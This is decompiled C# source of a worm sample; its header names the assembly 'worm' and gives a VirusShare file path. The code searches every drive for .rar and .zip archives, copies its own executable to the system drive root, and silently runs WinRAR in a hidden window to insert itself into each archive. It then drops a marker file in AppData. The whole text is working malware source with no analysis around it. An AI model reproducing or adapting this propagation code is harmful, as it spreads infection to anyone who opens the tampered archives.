// Decompiled with JetBrains decompiler
// Type: msekn
// Assembly: worm, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 8EC03A9B-2208-4FEE-92A0-7A52F1587AD3
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\P2P-Worm.MSIL.Small.u-db4920b710fe27301d242a61910da03b239972d96a018370dcf7d2a5187b33cd.exe

using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;

[StandardModule]
internal sealed class msekn
{
  private static object m91v = (object) new StringBuilder((int) byte.MaxValue);
  private static string eywtm = msekn.eou8f.ToString();
  private static string ffem7;
  private static string k314s;
  private static string[] wl32b;
  private static string[] p68qr = Environment.GetLogicalDrives();
  private static string tlbvb = Environment.GetFolderPath(Environment.SpecialFolder.System);
  private static string ilbd1 = msekn.tlbvb.Replace(msekn.tlbvb.Substring(msekn.tlbvb.IndexOf("\\")), string.Empty) + "\\";
  private static object eou8f = (object) new StringBuilder((int) byte.MaxValue);
  private static ProcessStartInfo tyzgz = new ProcessStartInfo();

  [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
  public static extern int xh74y([MarshalAs(UnmanagedType.LPTStr)] string path, [MarshalAs(UnmanagedType.LPTStr)] StringBuilder shortPath, int shortPathLength);

  private static void cq2mf(string a4kr1)
  {
    string[] directories = Directory.GetDirectories(a4kr1);
    msekn.wl32b = Directory.GetFiles(a4kr1);
    string[] wl32b = msekn.wl32b;
    int index1 = 0;
    while (index1 < wl32b.Length)
    {
      string z8dd3 = wl32b[index1];
      if (z8dd3.Contains(".rar"))
        msekn.toyqm(z8dd3);
      if (z8dd3.Contains(".zip"))
        msekn.toyqm(z8dd3);
      checked { ++index1; }
    }
    string[] strArray = directories;
    int index2 = 0;
    while (index2 < strArray.Length)
    {
      msekn.cq2mf(strArray[index2]);
      checked { ++index2; }
    }
  }

  public static void xnqfi(string krbzs)
  {
    msekn.k314s = krbzs;
    string[] p68qr = msekn.p68qr;
    int index = 0;
    while (index < p68qr.Length)
    {
      msekn.cq2mf(p68qr[index]);
      checked { ++index; }
    }
    msekn.x1m2t();
  }

  public static void toyqm(string z8dd3)
  {
    msekn.ffem7 = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) + "\\WinRAR\\WinRAR.exe";
    if (!File.Exists(msekn.ffem7))
      return;
    if (!File.Exists(Path.Combine(msekn.ilbd1, msekn.k314s)))
      msekn.qigav();
    msekn.xeb91();
    msekn.xh74y(z8dd3, (StringBuilder) msekn.m91v, Conversions.ToInteger(NewLateBinding.LateGet(msekn.m91v, (Type) null, "Capacity", new object[0], (string[]) null, (Type[]) null, (bool[]) null)));
    try
    {
      string str = " a " + msekn.m91v.ToString() + " " + msekn.eywtm;
      msekn.czqxd();
      msekn.tyzgz.Arguments = str;
      msekn.tyzgz.WindowStyle = ProcessWindowStyle.Hidden;
      Process.Start(msekn.tyzgz);
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
  }

  private static void xeb91() => msekn.xh74y(Path.Combine(msekn.ilbd1, msekn.k314s), (StringBuilder) msekn.eou8f, Conversions.ToInteger(NewLateBinding.LateGet(msekn.eou8f, (Type) null, "Capacity", new object[0], (string[]) null, (Type[]) null, (bool[]) null)));

  private static void x1m2t() => File.Create(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\temp48.txt");

  private static void qigav() => File.Copy(Process.GetCurrentProcess().MainModule.FileName, Path.Combine(msekn.ilbd1, msekn.k314s));

  private static void czqxd() => msekn.tyzgz.FileName = msekn.ffem7;
}
